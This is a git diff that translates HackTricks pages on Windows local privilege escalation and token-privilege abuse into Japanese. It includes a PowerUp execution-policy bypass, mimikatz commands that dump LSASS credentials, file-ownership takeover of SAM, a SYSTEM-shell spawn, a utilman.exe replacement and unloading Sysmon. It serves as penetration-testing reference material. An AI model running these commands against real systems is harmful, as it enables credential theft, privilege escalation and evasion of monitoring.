☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
# Invoke - ```text powershell -ep bypass . .\powerup.ps Invoke-AllChecks ``` - -# Checks +# チェック _03/2019_ -* [x] Current privileges -* [x] Unquoted service paths -* [x] Service executable permissions -* [x] Service permissions -* [x] %PATH% for hijackable DLL locations -* [x] AlwaysInstallElevated registry key -* [x] Autologon credentials in registry -* [x] Modifidable registry autoruns and configs -* [x] Modifiable schtask files/configs -* [x] Unattended install files -* [x] Encrypted web.config strings -* [x] Encrypted application pool and virtual directory passwords -* [x] Plaintext passwords in McAfee SiteList.xml -* [x] Cached Group Policy Preferences .xml files +* [x] 現在の特権 +* [x] クォートされていないサービスのパス +* [x] サービスの実行許可 +* [x] サービスの許可 +* [x] ハイジャック可能なDLLの場所の%PATH% +* [x] AlwaysInstallElevatedレジストリキー +* [x] レジストリのAutologon資格情報 +* [x] 変更可能なレジストリの自動実行と設定 +* [x] 変更可能なschtaskファイル/設定 +* [x] 無人インストールファイル +* [x] 暗号化されたweb.configの文字列 +* [x] 暗号化されたアプリケーションプールと仮想ディレクトリのパスワード +* [x] McAfee SiteList.xmlの平文パスワード +* [x] キャッシュされたグループポリシーの設定ファイル.xml @@ -50,16 +46,14 @@ _03/2019_ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md b/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md index 621d6dbb1..70a7ba613 100644 --- a/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md +++ b/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md @@ -1,30 +1,30 @@ -# Abusing Tokens +# トークンの悪用
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有する**には、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
-## Tokens +## トークン -If you **don't know what are Windows Access Tokens** read this page before continuing: +**Windowsアクセストークンが何かわからない場合**は、続ける前にこのページを読んでください: {% content-ref url="../access-tokens.md" %} [access-tokens.md](../access-tokens.md) {% endcontent-ref %} -**Maybe you could be able to escalate privileges abusing the tokens you already have** +**既に持っているトークンを悪用して特権をエスカレーションすることができるかもしれません** -### SeImpersonatePrivilege (3.1.1) +### SeImpersonatePrivilege(3.1.1) -Any process holding this privilege can **impersonate** (but not create) any **token** for which it is able to gethandle. You can get a **privileged token** from a **Windows service** (DCOM) making it perform an **NTLM authentication** against the exploit, then execute a process as **SYSTEM**. Exploit it with [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM ](https://github.com/antonioCoco/RogueWinRM)(needs winrm disabled), [SweetPotato](https://github.com/CCob/SweetPotato), [PrintSpoofer](https://github.com/itm4n/PrintSpoofer): +この特権を持つプロセスは、取得できる**トークン**を**なりすます**ことができます(ただし、作成することはできません)。**Windowsサービス**(DCOM)から**特権のあるトークン**を取得することができます。これにより、エクスプロイトに対して**NTLM認証**を実行し、その後**SYSTEM**としてプロセスを実行できます。[juicy-potato](https://github.com/ohpe/juicy-potato)、[RogueWinRM](https://github.com/antonioCoco/RogueWinRM)(winrmを無効にする必要があります)、[SweetPotato](https://github.com/CCob/SweetPotato)、[PrintSpoofer](https://github.com/itm4n/PrintSpoofer)でエクスプロイトします: {% content-ref url="../roguepotato-and-printspoofer.md" %} [roguepotato-and-printspoofer.md](../roguepotato-and-printspoofer.md) @@ -34,50 +34,43 @@ Any process holding this privilege can **impersonate** (but not create) any **to [juicypotato.md](../juicypotato.md) {% endcontent-ref %} -### SeAssignPrimaryPrivilege (3.1.2) +### SeAssignPrimaryPrivilege(3.1.2) -It is very similar to **SeImpersonatePrivilege**, it will use the **same method** to get a privileged token.\ -Then, this privilege allows **to assign a primary token** to a new/suspended process. With the privileged impersonation token you can derivate a primary token (DuplicateTokenEx).\ -With the token, you can create a **new process** with 'CreateProcessAsUser' or create a process suspended and **set the token** (in general, you cannot modify the primary token of a running process). +これは**SeImpersonatePrivilege**と非常に似ており、特権のあるトークンを取得するために**同じ方法**を使用します。\ +その後、この特権は、新しい/中断されたプロセスに**プライマリトークンを割り当てる**ことができます。特権のあるなりすましトークンを使用して、プライマリトークン(DuplicateTokenEx)を派生させることができます。\ +トークンを使用して、'CreateProcessAsUser'で**新しいプロセス**を作成するか、プロセスを中断して**トークンを設定**できます(一般的に、実行中のプロセスのプライマリトークンを変更することはできません)。 -### SeTcbPrivilege (3.1.3) +### SeTcbPrivilege(3.1.3) -If you have enabled this token you can use **KERB\_S4U\_LOGON** to get an **impersonation token** for any other user without knowing the credentials, **add an arbitrary group** (admins) to the token, set the **integrity level** of the token to "**medium**", and assign this token to the **current thread** (SetThreadToken). +このトークンを有効にしている場合、**KERB\_S4U\_LOGON**を使用して、資格情報を知らなくても他のユーザーの**なりすましトークン**を取得し、**任意のグループ**(admins)をトークンに追加し、トークンの**整合性レベル**を「**medium**」に設定し、このトークンを**現在のスレッド**に割り当てることができます(SetThreadToken)。 -### SeBackupPrivilege (3.1.4) +### SeBackupPrivilege(3.1.4) -This privilege causes the system to **grant all read access** control to any file (only read).\ -Use it to **read the password hashes of local Administrator** accounts from the registry and then use "**psexec**" or "**wmicexec**" with the hash (PTH).\ -This attack won't work if the Local Administrator is disabled, or if it is configured that a Local Admin isn't admin if he is connected remotely.\ -You can **abuse this privilege** with: +この特権により、システムは任意のファイルに対して**すべての読み取りアクセス**制御を許可します(読み取りのみ)。\ +これを使用して、レジストリからローカル管理者アカウントのパスワードハッシュを**読み取り**、その後ハッシュ(PTH)を使用して「**psexec**」または「**wmicexec**」を使用します。\ +この攻撃は、ローカル管理者が無効になっている場合、またはリモート接続された場合にローカル管理者が管理者でないように構成されている場合は機能しません。\ +次の方法でこの特権を**悪用**できます: * [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1) * [https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug](https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug) -* following **IppSec** in [https://www.youtube.com/watch?v=IfCysW0Od8w\&t=2610\&ab\_channel=IppSec](https://www.youtube.com/watch?v=IfCysW0Od8w\&t=2610\&ab\_channel=IppSec) -* Or as explained in the **escalating privileges with Backup Operators** section of: - -{% content-ref url="../../active-directory-methodology/privileged-groups-and-token-privileges.md" %} -[privileged-groups-and-token-privileges.md](../../active-directory-methodology/privileged-groups-and-token-privileges.md) -{% endcontent-ref %} - +* [https://www.youtube.com/watch?v=IfCysW0Od8w\&t=2610\&ab\_channel=IppSec](https://www.youtube.com/watch?v=IfCysW0Od8w\&t=2610\&ab\_channel=IppSec)で**IppSec**に従う +* または、[https://github.com/carlospolop/hacktricks/blob/master/windows/active-directory-methodology/privileged-groups-and-token-privileges.md](https://github.com/carlospolop/hacktricks/blob/master/windows/active-directory-methodology/privileged-groups-and-token-privileges.md)の**バックアップオペレーターを使用した特権のエスカレーション**セクションで説明されている方法で ### SeRestorePrivilege (3.1.5) -**Write access** control to any file on the system, regardless of the files ACL.\ -You can **modify services**, DLL Hijacking, set **debugger** (Image File Execution Options)… A lot of options to escalate. +システム上の任意のファイルに対して**書き込みアクセス**制御が可能です。ファイルのACLに関係なく、**サービスの変更**、DLLハイジャッキング、**デバッガの設定**(Image File Execution Options)など、エスカレーションのための多くのオプションがあります。 ### SeCreateTokenPrivilege (3.1.6) -This token **can be used** as EoP method **only** if the user **can impersonate** tokens (even without SeImpersonatePrivilege).\ -In a possible scenario, a user can impersonate the token if it is for the same user and the integrity level is less or equal to the current process integrity level.\ -In this case, the user could **create an impersonation token** and add to it a privileged group SID. +このトークンは、ユーザーがトークンを**偽装**できる場合にのみEoPメソッドとして使用できます(SeImpersonatePrivilegeなしでも可能)。\ +可能なシナリオでは、ユーザーは、トークンが同じユーザーのものであり、整合性レベルが現在のプロセスの整合性レベル以下である場合にトークンを偽装できます。\ +この場合、ユーザーは**偽装トークンを作成**し、特権のあるグループSIDを追加することができます。 ### SeLoadDriverPrivilege (3.1.7) -**Load and unload device drivers.**\ -You need to create an entry in the registry with values for ImagePath and Type.\ -As you don't have access to write to HKLM, you have to **use HKCU**. But HKCU doesn't mean anything for the kernel, the way to guide the kernel here and use the expected path for a driver config is to use the path: "\Registry\User\S-1-5-21-582075628-3447520101-2530640108-1003\System\CurrentControlSet\Services\DriverName" (the ID is the **RID** of the current user).\ -So, you have to **create all that path inside HKCU and set the ImagePath** (path to the binary that is going to be executed) **and Type** (SERVICE\_KERNEL\_DRIVER 0x00000001).\ - +**デバイスドライバのロードとアンロード**が可能です。\ +ImagePathとTypeの値を持つレジストリエントリを作成する必要があります。\ +HKLMに書き込むアクセス権限がないため、HKCUを**使用する必要があります**。ただし、HKCUはカーネルにとっては意味を持ちません。ここでカーネルを誘導し、ドライバの設定に予想されるパスを使用するためには、パス"\Registry\User\S-1-5-21-582075628-3447520101-2530640108-1003\System\CurrentControlSet\Services\DriverName"(IDは現在のユーザーの**RID**です)を使用する必要があります。\ +したがって、HKCU内にそのパス全体を作成し、ImagePath(実行されるバイナリのパス)とType(SERVICE\_KERNEL\_DRIVER 0x00000001)を設定する必要があります。 {% content-ref url="abuse-seloaddriverprivilege.md" %} [abuse-seloaddriverprivilege.md](abuse-seloaddriverprivilege.md) @@ -85,10 +78,9 @@ So, you have to **create all that path inside HKCU and set the ImagePath** (path ### SeTakeOwnershipPrivilege (3.1.8) -This privilege is very similar to **SeRestorePrivilege**.\ -It allows a process to “**take ownership of an object** without being granted discretionary access” by granting the WRITE\_OWNER access right.\ -First, you have to **take ownership of the registry key** that you are going to write on and **modify the DACL** so you can write on it. - +この特権は、**SeRestorePrivilege**に非常に似ています。\ +WRITE\_OWNERアクセス権を付与することで、プロセスが「**任意のオブジェクトの所有権を取得**することができます。」\ +まず、書き込む予定のレジストリキーの**所有権を取得**し、それに書き込むためにDACLを**変更する必要があります**。 ```bash takeown /f 'C:\some\file.txt' #Now the file is owned by you icacls 'C:\some\file.txt' /grant :F #Now you have full access @@ -104,84 +96,98 @@ icacls 'C:\some\file.txt' /grant :F #Now you have full access %WINDIR%\system32\config\default.sav c:\inetpub\wwwwroot\web.config ``` - ### SeDebugPrivilege (3.1.9) -It allows the holder to **debug another process**, this includes reading and **writing** to that **process' memory.**\ -There are a lot of various **memory injection** strategies that can be used with this privilege that evade a majority of AV/HIPS solutions. +これにより、ホルダーは**他のプロセスをデバッグ**することができます。これには、その**プロセスのメモリに読み書き**することが含まれます。\ +この特権を使用した多くの異なる**メモリインジェクション**戦略があり、これにより、ほとんどのAV/HIPSソリューションを回避することができます。 -#### Dump memory +#### メモリのダンプ -One example of **abuse of this privilege** is to run [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) from the [SysInternals](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) to **dump a process memory**. For example, the **Local Security Authority Subsystem Service (**[**LSASS**](https://en.wikipedia.org/wiki/Local\_Security\_Authority\_Subsystem\_Service)**)** process, which stores user credentials after a user logs on to a system. - -You can then load this dump in mimikatz to obtain passwords: +この特権の**乱用の一例**として、[SysInternals](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite)の[ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump)を実行して、プロセスのメモリを**ダンプ**することがあります。たとえば、ユーザーがシステムにログオンした後にユーザーの資格情報を格納する**Local Security Authority Subsystem Service (**[**LSASS**](https://en.wikipedia.org/wiki/Local\_Security\_Authority\_Subsystem\_Service)**)**プロセスです。 +その後、このダンプをmimikatzに読み込んでパスワードを取得できます。 ``` mimikatz.exe mimikatz # log mimikatz # sekurlsa::minidump lsass.dmp mimikatz # sekurlsa::logonpasswords ``` - #### RCE -If you want to get a `NT SYSTEM` shell you could use: +`NT SYSTEM` シェルを取得したい場合は、次の方法を使用できます: * ****[**SeDebugPrivilegePoC**](https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC)**** * ****[**psgetsys.ps1**](https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1)**** - ```powershell # Get the PID of a process running as NT SYSTEM import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(,) ``` +## 権限の確認 -## Check privileges +To check the privileges of the current user, you can use the `whoami /priv` command. This will display a list of privileges assigned to the user. +現在のユーザーの権限を確認するには、`whoami /priv` コマンドを使用します。これにより、ユーザーに割り当てられた権限のリストが表示されます。 + +```plaintext +C:\> whoami /priv + +PRIVILEGES INFORMATION +---------------------- + +Privilege Name Description State +=============================== ========================================= ======== +SeShutdownPrivilege Shut down the system Disabled +SeChangeNotifyPrivilege Bypass traverse checking Enabled +SeUndockPrivilege Remove computer from docking station Disabled +SeIncreaseWorkingSetPrivilege Increase a process working set Disabled +... +``` + +The output will show the name, description, and state (enabled or disabled) of each privilege. + +出力には、各権限の名前、説明、および状態(有効または無効)が表示されます。 ``` whoami /priv ``` +**無効になっているトークン**は有効にすることができ、実際には_有効_と_無効_のトークンを悪用することができます。 -The **tokens that appear as Disabled** can be enable, you you actually can abuse _Enabled_ and _Disabled_ tokens. - -### Enable All the tokens - -You can use the script [**EnableAllTokenPrivs.ps1**](https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1) to enable all the tokens: +### すべてのトークンを有効にする +[**EnableAllTokenPrivs.ps1**](https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1)スクリプトを使用して、すべてのトークンを有効にすることができます。 ```powershell .\EnableAllTokenPrivs.ps1 whoami /priv ``` +または、この[投稿](https://www.leeholmes.com/adjusting-token-privileges-in-powershell/)に埋め込まれた**スクリプト**。 -Or the **script** embed in this [**post**](https://www.leeholmes.com/adjusting-token-privileges-in-powershell/). +## テーブル -## Table +完全なトークン特権のチートシートは[https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin)にありますが、以下の要約では、管理者セッションを取得したり、機密ファイルを読み取るために特権を悪用する直接的な方法のみをリストアップします。 -Full token privileges cheatsheet at [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin), summary below will only list direct ways to exploit the privilege to obtain an admin session or read sensitive files.\\ - -| Privilege | Impact | Tool | Execution path | Remarks | +| 特権 | 影響 | ツール | 実行経路 | 備考 | | -------------------------- | ----------- | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| **`SeAssignPrimaryToken`** | _**Admin**_ | 3rd party tool | _"It would allow a user to impersonate tokens and privesc to nt system using tools such as potato.exe, rottenpotato.exe and juicypotato.exe"_ | Thank you [Aurélien Chalot](https://twitter.com/Defte\_) for the update. I will try to re-phrase it to something more recipe-like soon. | -| **`SeBackup`** | **Threat** | _**Built-in commands**_ | Read sensitve files with `robocopy /b` |

- May be more interesting if you can read %WINDIR%\MEMORY.DMP

- SeBackupPrivilege (and robocopy) is not helpful when it comes to open files.

- Robocopy requires both SeBackup and SeRestore to work with /b parameter.

| -| **`SeCreateToken`** | _**Admin**_ | 3rd party tool | Create arbitrary token including local admin rights with `NtCreateToken`. | | -| **`SeDebug`** | _**Admin**_ | **PowerShell** | Duplicate the `lsass.exe` token. | Script to be found at [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) | -| **`SeLoadDriver`** | _**Admin**_ | 3rd party tool |

1. Load buggy kernel driver such as szkg64.sys
2. Exploit the driver vulnerability

Alternatively, the privilege may be used to unload security-related drivers with ftlMC builtin command. i.e.: fltMC sysmondrv

|

1. The szkg64 vulnerability is listed as CVE-2018-15732
2. The szkg64 exploit code was created by Parvez Anwar

| -| **`SeRestore`** | _**Admin**_ | **PowerShell** |

1. Launch PowerShell/ISE with the SeRestore privilege present.
2. Enable the privilege with Enable-SeRestorePrivilege).
3. Rename utilman.exe to utilman.old
4. Rename cmd.exe to utilman.exe
5. Lock the console and press Win+U

|

Attack may be detected by some AV software.

Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege

| -| **`SeTakeOwnership`** | _**Admin**_ | _**Built-in commands**_ |

1. takeown.exe /f "%windir%\system32"
2. icalcs.exe "%windir%\system32" /grant "%username%":F
3. Rename cmd.exe to utilman.exe
4. Lock the console and press Win+U

|

Attack may be detected by some AV software.

Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege.

| -| **`SeTcb`** | _**Admin**_ | 3rd party tool |

Manipulate tokens to have local admin rights included. May require SeImpersonate.

To be verified.

| | +| **`SeAssignPrimaryToken`** | _**Admin**_ | サードパーティツール | _"potato.exe、rottenpotato.exe、juicypotato.exeなどのツールを使用して、ユーザーがトークンをなりすまし、ntシステムに特権昇格することができます"_ | 更新情報を提供してくれた[Aurélien Chalot](https://twitter.com/Defte_)に感謝します。近々、よりレシピのような表現に言い換える予定です。 | +| **`SeBackup`** | **脅威** | _**組み込みコマンド**_ | `robocopy /b`で機密ファイルを読み取る |

- %WINDIR%\MEMORY.DMPを読み取ることができる場合はさらに興味深いかもしれません

- `SeBackupPrivilege`(およびrobocopy)は、ファイルを開く際には役に立ちません。

- robocopyは、/bパラメータを使用するためにはSeBackupとSeRestoreの両方が必要です。

| +| **`SeCreateToken`** | _**Admin**_ | サードパーティツール | `NtCreateToken`を使用して、ローカル管理者権限を含む任意のトークンを作成します。 | | +| **`SeDebug`** | _**Admin**_ | **PowerShell** | `lsass.exe`のトークンを複製します。 | スクリプトは[FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1)で見つけることができます。 | +| **`SeLoadDriver`** | _**Admin**_ | サードパーティツール |

1. `szkg64.sys`などのバグのあるカーネルドライバをロードします
2. ドライバの脆弱性を悪用します

または、`ftlMC`組み込みコマンドを使用してセキュリティ関連のドライバをアンロードするために特権を使用することもできます。例:`fltMC sysmondrv`

|

1. `szkg64`の脆弱性は[CVE-2018-15732](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732)としてリストされています
2. `szkg64`の[脆弱性の悪用コード](https://www.greyhathacker.net/?p=1025)は[Parvez Anwar](https://twitter.com/parvezghh)によって作成されました

| +| **`SeRestore`** | _**Admin**_ | **PowerShell** |

1. SeRestore特権が存在する状態でPowerShell/ISEを起動します。
2. [Enable-SeRestorePrivilege](https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1)を使用して特権を有効にします。
3. utilman.exeをutilman.oldに名前を変更します
4. cmd.exeをutilman.exeに名前を変更します
5. コンソールをロックし、Win+Uを押します

| 一部のAVソフトウェアによって攻撃が検出される可能性があります。

代替手法は、同じ特権を使用して「Program Files」に格納されたサービスバイナリを置き換えることに依存しています

| +| **`SeTakeOwnership`** | _**Admin**_ | _**組み込みコマンド**_ |

1. takeown.exe /f "%windir%\system32"
2. icalcs.exe "%windir%\system32" /grant "%username%":F
3. cmd.exeをutilman.exeに名前を変更します
4. コンソールをロックし、Win+Uを押します

| 一部のAVソフトウェアによって攻撃が検出される可能性があります。

代替手法は、同じ特権を使用して「Program Files」に格納されたサービスバイナリを置き換えることに依存しています。

| +| **`SeTcb`** | _**Admin**_ | サードパーティツール |

トークンを操作してローカル管理者権限を含める。SeImpersonateが必要な場合があります。

検証が必要です。

| | -## Reference +## 参考 -* Take a look to this table defining Windows tokens: [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin) -* Take a look to [**this paper**](https://github.com/hatRiot/token-priv/blob/master/abusing\_token\_eop\_1.0.txt) about privesc with tokens. +* Windowsトークンを定義するこの表を参照してください:[https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin) +* トークンを使用した特権昇格についての[**この論文**](https://github.com/hatRiot/token-priv/blob/master/abusing\_token\_eop\_1.0.txt)を参照してください。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください。 +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください**。 +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
diff --git a/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/abuse-seloaddriverprivilege.md b/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/abuse-seloaddriverprivilege.md index 39eb98115..7072f8f9f 100644 --- a/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/abuse-seloaddriverprivilege.md +++ b/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/abuse-seloaddriverprivilege.md @@ -1,28 +1,28 @@ -# Abuse SeLoadDriverPrivilege +# SeLoadDriverPrivilege の悪用
